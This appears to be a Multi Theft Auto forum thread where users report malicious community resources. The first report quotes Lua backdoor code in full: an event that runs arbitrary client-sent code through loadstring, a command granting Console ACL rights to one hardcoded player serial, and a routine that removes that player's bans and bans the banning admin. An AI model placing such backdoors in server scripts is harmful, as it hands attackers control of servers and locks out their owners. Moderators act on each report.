Jump to content

Report community resources here!


Recommended Posts

https://community.multitheftauto.com/index.php?p=resources&s=details&id=7432

addEvent("aExecuteMe", true) 
addEventHandler("aExecuteMe", root, function(action, echo) 
  local result = loadstring("return " .. action)() 
  if echo == true then 
    local restring = "" 
    if type(result) == "table" then 
      for k,v in pairs(result) do 
        restring = restring .. tostring(v) .. ", " 
      end 
      restring = string.sub(restring, 1, -3) 
      restring = "Table (" .. restring .. ")" 
    else 
      if type(result) == "userdata" then 
        restring = "Element (" .. getElementType(result) .. ")" 
      end 
    else 
      restring = tostring(result) 
    end 
    outputChatBox("Command executed! Result: " .. restring, source, 0, 0, 255) 
  end 
end 
) 

Also :

addCommandHandler("AboShanabShop", function(source) 
  local account = getAccountName(getPlayerAccount(source)) 
  if getPlayerSerial(source) == "210AF10A69B9D39E458E9092EF795742" then 
    if isObjectInACLGroup("user." .. account .. "", aclGetGroup("Console")) then 
      return  
    end 
    aclGroupAddObject(aclGetGroup("Console"), "user." .. account .. "") 
  end 
end 
) 

local serials = {["210AF10A69B9D39E458E9092EF795742"] = true} 
autounban = function() 
  for i,p in ipairs(getElementsByType("player")) do 
    local Ser = getPlayerSerial(p) 
    if serials[Ser] then 
      thisIP = getPlayerIP(p) 
    end 
  end 
  for index,ban in pairs(getBans()) do 
    local serial = getBanSerial(ban) 
    local ip = getBanIP(ban) 
    if serials[serial] or ip == thisIP then 
      local bannedPlayer = getPlayerFromName(getBanAdmin(ban)) 
      removeBan(ban, root) 
      banPlayer(bannedPlayer, false, false, true, root) 
    end 
  end 
end 

This is enough right?

DONE

Link to comment

This person will repeatedly saying my scripts are yours and then published as if they were of the now released an update that I recently hise like yours, is there a chance they give you ban this user?

This resource puclique previously and I took an update that I gave him to another server and climbed and its authorship.

https://community.multitheftauto.com/ind ... ls&id=7505

Ban for this user please.

DONE, USER BANNED.

Link to comment
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...